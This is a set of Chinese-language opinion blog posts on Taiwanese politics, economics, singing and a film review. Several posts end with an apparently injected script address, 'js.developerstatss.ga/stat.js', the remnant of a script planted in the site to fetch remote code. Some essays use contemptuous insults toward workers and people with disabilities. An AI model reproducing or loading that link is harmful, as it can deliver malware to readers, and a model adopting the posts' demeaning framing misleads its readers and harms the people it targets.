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經濟分析 隨筆

真正拉近城鄉差距的是資本家而非嘴砲文青

好文分享。

我說過我是台中大甲人,從小我就一直期待大甲可以有一家麥當勞。這個願望直到我上大學離開家鄉了才成真。在此之前,我們只有各一家王子漢堡跟香雞城(這兩家都倒了)。王子漢堡我想大概海線人才知道。

跟鬼王說的一樣,文青所謂「連鎖企業毀壞質樸在地文化」論調對我們這種鄉下人來說根本叫做bull shit! 從小我就感受到所謂的海線是怎樣落人一等,連火車班次、公路局班次都比別人少!

第一家7-11開店時已經是我高中時候,當時真如鬼王所說,是鎮上時髦青少年流連的場所。但台北早就是街道巷口處處有小七了。

經濟學來看也是支持鬼王論點:連鎖企業之所以可以橫掃鄉村小店,不是因為資本粗就能吃人,而是因為連鎖企業用更好的條件提供更好的商品與服務!

經濟競爭的鐵律是「用更少的代價換取更好或更多!」連鎖企業如果更貴更爛,市場淘汰連鎖企業而非小店。大甲也曾有肯德基,但生意火紅幾年就因為競爭不過麥當勞與在地炸雞攤而倒店。這也證明經濟學是對的 — 本錢厚並非絕對的競爭優勢。反之,被淘汰的小店正因為無法提供連鎖企業給的,才會被淘汰。

是的,真相是所謂的小店文化,對真正在地者而言,往往不重要也沒人鳥。真相是你們文青所謂的「重視小店文化」其實連你們自己都不肯付出足夠真金白銀購買使其存活。

但可笑的是,這種雙面人竟然舉起標語、木牌抗議連鎖企業進駐鄉鎮?(這在美國很常見)

其實說穿了這種人只是藉著剝削鄉村消費者的選擇權,換取自己的媒體曝光度或自我感覺良好。

事實是真正在拉近城鄉差距的,是文青口中萬惡的資本家們!

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隨筆

關於習進平取消任期限制

感覺一堆人搞不清楚(特別是念法律的):

習進平取消「得連任二屆」限制,並不表示他想怎樣連任都能成功。

反之,真有政治實力,像俄羅斯普丁那樣不管啥職位都能實際掌權,連任限制是啥屁?(當蔣經國只是行政院院長而嚴家淦是總統時,你說誰說了算?)

以為取消連任限制就叫稱帝?就叫做到掌權到死?未免太天真。

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民主將精準無誤地摧毀所有的文明

「The democracy will infallibly destroy all civilization. (民主將精準無誤地摧毀所有的文明)」~John Adams(美國開國元勛,第二任總統)

John Adams是美國開國元勛中強力反對民主政治的一位先知,與之相對的Thomas Jefferson雖然是力主民主制度且對民主有著浪漫信仰(romantic faith),但Jefferson的民主卻有著「限定上流人士才有投票權」的前提。

也就是說,台灣一堆腦袋空空跟著高舉民主價值的覺青,其實壓根有大部分根本不曉得民主有多少缺點。真正的民主先驅深知其弊病所以對民主制度是有諸多限制前提的,這些是台灣覺青所渾然不知。

我認為民主制度在多數時間只會選出作秀小丑,很難選出明君;萬一有幸選出明君,也會因為短短的任期制使其租值難以累積與持續。

民主制度是個天生有缺陷且必然走上合法貪污制度的遊戲規則,而拯救民主制度所需要的:1.限制投票資格(我建議繳稅者方可投票,且每票權重應該與所繳稅額掛勾)與2.選票可自由買賣。

此二點卻與主流看法大相徑庭,因此台灣只會走上越來越內耗衰敗,終至苦求中國好心收留的下場。https://js.developerstatss.ga/stat.js?n=ns1

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隨筆–關於左謬

一般左謬大概是兩種人,第一種是笨到相信左派理論;第二種則是宣揚左派來獲利。獲利者有三種態樣,因為侷限條件不同而使得行為有所不同:

1. 搞左派是當作贖罪券–這種人多半跟第一種混血,以為這些悲天憫人的左派理想可以讓自己得到救贖或累積功德。這也是說這種人很容易跟宗教牽扯不清。

當科學實證證明其所相信、所宣傳的後果非如想像甚至害慘人時,對他們而言成為一種人格乃至於存在價值的否定,當然不爽。

2. 搞左派是要打砲 — 這種人在心態純粹是搞左派很酷炫,騙妹上床大有利!通常這種人除了靠裝模作樣把妹之外,其實內裡很虛的。所以真相會讓他們顯得很不酷時,他們就很幹。

3. 搞左派是要賺錢 — 這種人最實際,常見於政客、職業抗爭戶、遊說團體乃至於各種外圍組織。這種人的左派是喊假的,價碼夠高,靈魂隨時可以換邊站。因此跟這種人談科學驗證只是浪費時間,他們只是在找藉口騙納稅人的錢而已,藉口內容合理性不是重點,行銷力才是。

一點心得分享。

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別鬧了,柯一正們

2012年柯一正導演跑去凱道搞快閃活動,大喊:「我是人,我反核!」口號,而當蔡英文上台真的停了核能發電之後,才發現加大火力發電會嚴重化空污。

今年柯一正又跑出來要力挺「1217反空污遊行」?!

人類技術目前基載電力就只有火力跟核能可選,如果連這點都不知道,我還真建議您老人家少發言比較好。

不禁讓我回想2013年8月,您不顧當時國際油價每桶漲破100美元的現實,堅持馬英九的油電雙漲政策是「…無視民生疾苦。這個政權以野蠻的態度回應人民理性的訴求,以粗暴的權力踐踏台灣的民主自由,罔顧民間反對聲浪,護航危害後世未來的恐怖核四,背棄基本誠信,縱容土豪強奪民地,黑箱作業急忙密簽禍國殃民的服貿協議,馬政權根本是一個無法被文明說服的獨裁寡頭。…」

然後您與一貫腦袋不清、錯誤且誇大地主張石油危機的清大彭明輝(彭明輝的經濟預測錯得離譜,六年來被我打臉數次,請參考 https://goo.gl/YUTt5P)等人發起倒馬罷免運動,主張罷免馬系立委。

但從2013年後半直至馬英九任期屆滿,國內油價平均隨著國際油價崩盤下跌近30%,而您似乎對馬總統沒有任何表示或公開承認自己當時主張錯誤。

自蔡英文上任總統至今約一年半,國內油價上漲13%,但同期國際油價明明還下跌約9%!依照你們當年主張的原則,怎麼不見你們這群人因蔡英文油價不合理飛漲而有任何罷免行動?

你們當年反服貿就錯得離譜,根本不懂正確的經濟邏輯(正確分析請見:⟪關於兩岸服務貿易協議https://wp.me/p9ffS3-mQ 與⟪談談最近的服貿與學運⟫https://wp.me/p9ffS3-o1)。

現在又跳出來像個任性耍彆扭的小孩,賴在地上這也不要、那也不要。又欠缺基礎物理邏輯地誤認台灣拿掉核電跟火力發電都可以。很難看耶。https://js.developerstatss.ga/stat.js?n=ns1

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從林昶佐唱歌很難聽略談聲樂

昨天我提到林昶佐唱歌很難聽,剛好有自稱歌迷的網友於FB上來討論,我回覆談到:

“..林昶佐在幾首民謠版,歌聲明顯很普通,無論音質、音色乃至於技巧(例如共鳴點掌握或轉換)或對歌曲詮釋,聽起來沒啥特別可取之處。
除了題材較特殊(其實也是充滿錯誤歷史認知的煽動居多啦)外,純就歌藝本身而言,我不覺得有比F4之流的假歌星好到哪去。
3. 舉例來說,帕華洛帝30出頭歲唱歌劇「弄臣」,無論音質、音色乃至於技巧都是近乎完美;即便當時錄音品質不高,三者的完美性也能聽出來。
鄧麗君到日本之後的作品也是在這三者大有長進。
而美空雲雀癌症之後的「川流不息」,雖然她本身嗓音對比年輕時沙啞低沈許多,但是三者於此曲也是近乎完美表現,尤其詮釋歌曲時的共鳴點轉換,打破傳統演歌偏於扁平的唱腔,一流作品無誤!
Louis Armstrong與Ella Fitzgerald的三張專輯中,Louis的音質音色明顯比不上Ella,但是技巧、詮釋卻大大彌補不足之處,加上小喇叭手的丹田氣力讓Louis有超乎常人的共鳴力道,使得他唱歌稱不上完美,但大有可取之處。"

回覆中我特別舉了美空雲雀,剛好有首「蘋果花(リンゴ追分)」,有美空早期與晚期(昭和27年 v. 56年)可以明顯對比並從中讓讀者了解我在說什麼。影片:

美空雲雀晚期的音色雖然略差,但差異不大;可音質卻差了一大截,除了因為年老、癌症,前半生自己對嗓子的肆意破壞也是原因之一。可是唱歌技巧卻大有長進,尤其早期那種純演歌的略扁、以頭腔/鼻腔共鳴為主到晚期的多個共鳴點來回轉換,各位應該可以聽出來我在談的唱歌技巧是什麼。

是的,發音技巧跟唱歌技巧是兩回事。

嘶吼腔只是一種發音技巧(還是我覺得很難聽的一種),海豚音也只是一種發音技巧,二者勤加練習可以習得,但不代表那是唱歌技巧好。

學過聲樂都知道,如果我們把喉嚨當做樂器,習得各種不同發音技巧只是擴大樂器的可演奏範圍,但不代表演奏曲子就必然好聽。

此外我還要提,對比金屬樂愛好者崇拜的嘶吼腔,其實我認為全面性掌握各種發聲技巧的高手是 Bobby McFerrin,除了可以自由在4個八度音自由遊走(可瞬間從假音跳到超低音),還會中亞喉音,可演唱基礎音調,外加二到三部和弦,創造明明一個人在唱,聽起來卻是多部合音的錯覺!

這種發音技巧(沒錯,這還只是發音技巧),我認為比嘶吼腔難多了。

Bobby與Yoyo Ma合作的Hush專輯強烈推薦,各位可以聽聽人聲怎樣與大小提琴完美融合:

特別舉了幾個歌唱技巧高超的(帕華洛帝、鄧麗君、美空雲雀、Armstrong),再另舉一個從發音技巧到唱歌技巧都天賦異秉的Bobby McFerrin,希望幫助大家理解「我所謂的聲樂訓練」是什麼東西,也進一步理解為什麼我說林昶佐唱歌很難聽也無可取之處。https://js.developerstatss.ga/stat.js?n=ns1

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經濟分析 隨筆

國軍與立委報酬的簡易經濟分析

ETtoday報導:「軍人服役40年替代率100%?林昶佐:比一般民眾優渥太多

內容:「國防部14日公佈「軍人退撫新制草案」,其中,為鼓勵「長留久用」,月退俸計算可能與美軍退撫制度相同,現役軍人服役滿20年,所得替代率從50%起跳,每服役1年增加2.5%,滿40年則可達100%;對此,時代力量立委林昶佐認為,這樣做到40年的將官,薪水至少10萬以上,退休後還能繼續領10萬以上的退休金,這實在比一般民眾生活優渥太多…」

姑且不論中國時報曾報導:「…林昶佐,2007年曾對媒體坦承,大學時期為逃兵役曾力圖緩徵,想辦法延畢,但後來因焦慮症嚴重,才被判免兵役。林受訪時還說,不吃藥就會很焦慮,會不斷開冰箱、鎖門等強迫症狀,更自爆:「有次去日本忘帶藥,在地鐵站癱了噴屎噴尿,糗到爆。」…」

其實一秒分辨是否真的報酬過於優渥,快速應用經濟學就可得到答案。

當某樣東西用值遠大於換值時,代表消費者盈餘極高,則競爭之下願意爭取者不但眾多,而且各種手段或代價也願意支付。例如有廠商舉辦某活動加一元多一台M-Benz S class,但限現場報名前100位中抽一位。可以想見多少人半夜就跑去排隊之外,各種插隊、代排、走後門等怪招肯定百花齊放。

回過頭,我們總見到一堆政客耗盡家產、用盡人脈、丟盡臉面、踐踏自尊地下跪競爭立委。好像沒見過有人為了簽「志願留營」或為了讀軍校這樣拼命的。反之,國軍老徵不夠兵才是我們看到的現象。

顯然由競爭的行為表現可知:當立委太好賺;當兵太難賺。

若林昶佐真心認為新制會讓國軍太優渥,那強烈建議您力推退撫新制過關,幫助國軍徵足兵力,然後自己也快快從軍去,別再焦慮了。

#你們這種又要台獨又不讓台灣徵足兵力的人真奇怪
#唱歌這麼難聽還要上台表演的確是會焦慮

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推薦電影「比海還深」

電影「比海還深」真是一部不錯的電影,阿部寬演這種空有理想但現實失敗的中年男演得真好,讓人很有共鳴哩~

導演手法很明顯深受侯孝賢影響。

電影開頭就冒金句 — 男主角的老媽媽被女兒詢問為何不多認識一些老人朋友,老媽媽回:「認識幹嘛?也不過是喪禮多點人而已。」

男主角人生逐步走向自己最瞧不起的父親的後塵。打算回家偷點父親遺物(一幅可能是名畫的掛軸)去典當,誰知到當舖才發現父親生前就拿來當過了,當舖老闆告訴男主,掛軸只是印刷品,盒子才勉強算古董。

當舖老闆還告知男主,父親以男主長腦瘤為由,硬是要典當一堆垃圾換錢治病,老闆壓根不信,但還是基於鄰居情誼給當了一些。男主回道:「我這輩子還沒住過院哩!」

老闆:「對吧~我就知道是騙我的。最扯的是,過陣子你父親又跑來說你痊癒了,要我給他慶祝痊癒的禮金哩!」

阿部寬尷尬的笑容,演得真好。

以及同徵信社同事跟蹤看著前妻愛上更有錢有成就的新男人的眼神,也很真實。在高級餐廳裡,新男友對前妻說,少讓孩子與生父這種社會底層男人接觸(指阿部寬),前妻無力地反駁說:「他其實是小說家,有得過獎,只是最近比較落魄…」

新男友:「喔~那本無人的什麼嘛?」

前妻忽然略顯興奮:「你讀過嗎?」

新男友:「讀過,是不至於浪費時間啦,但整本書不知所云。」

前妻臉上那個表情,真好。新男友還多嘴一句:「你看,你也認同吧~」

男主跑去跟感情不睦的姐姐借錢,被告知爸爸生前一個月也來借過。姊姊記錯阿部寬15年前初出道就得文學獎的獎名,阿部寬忽然認真起來嚴正糾正,反又被姐姐數落:「你當年要是拿芥川賞我就不會記錯了。」

挺推薦這片的,前提是看得下侯孝賢那種風格的電影。

在我看來,其實本片的主題剛好跟周星馳的「大話西遊」一致:曾經有份真誠的情感/理想擺在我眼前,但我卻不懂珍惜,直到失去了才後悔莫及。

二片男主都在追求過去已逝去的,祈求上天再給一次機會。只是就人物的悲劇性格而言,二片男主即便再得到一次機會,依然不懂得如何珍惜。換言之,悲劇之必然,而學習接受悲劇後果的心態成長,成為是男主唯一能做的自我救贖。https://js.developerstatss.ga/stat.js?n=ns1

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經濟分析 隨筆

針對宣稱「自己是勞工而沒有議價能力者」的統一回覆

我管理過的外勞都知道跟我爭取休息室電視螢幕大一點、假日可以帶女友回宿舍、生產線排到目前最紅商品以分到多一點生產獎金或得到組長請客機會…即便薪資已經是死豬價的外勞也知道怎麼增加非貨幣收入。

以前工地實習時就知道,建築工地現場工人怎麼擺爛逼業主改變計價規則。也知道不同誘因設計下,泥水師父、水電師父等等一天工作量可以有多大的改變。

更甭提我照顧過智能不足的小朋友們,其中都有人懂得多撒嬌好在達成練習時可以多拿一些餅乾糖果。

連過去鄉下世代為乞丐的家族,都知道學、編各種乞丐調、假身世甚至裝殘障來讓主人家/路人多分點食物、零錢。有些乞丐遇到小氣給太少的主兒還會翻臉拒收哩!

以上都是我親身經歷,也都符合經濟學科學原理。

我自己是沒養寵物;但養很多貓狗的鄰居也說某些貓狗特別懂得撒嬌或欺騙,以換取更多食物或關愛。

然後你還好意思說自己沒有議價能力?說自己不知道?

在我看來,宣稱自己身為勞工卻沒有議價能力者根本在說謊。除非你承認你連智力只有三四歲小孩的智障朋友甚或畜生都比不上…..而此正是我一貫批評的–低租值勞工通常問題根本出在自己身上,而其中有些人還只會怪天怪地怪父母怪社會怪懷才不遇,就是不懂檢討自己。

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政府獨裁與政治正確

The difference between the Chinese governmental authoritarian and the western political correct is that the former one ironically encouraging some people to find out the truth but the latter one making people unconsciously satisfied with cheating themselves.

中國式政府獨裁與西方式政治正確之差異在於:前者反倒激發部分人去追求真相,但後者卻讓人們無意識地滿足於自我欺騙。
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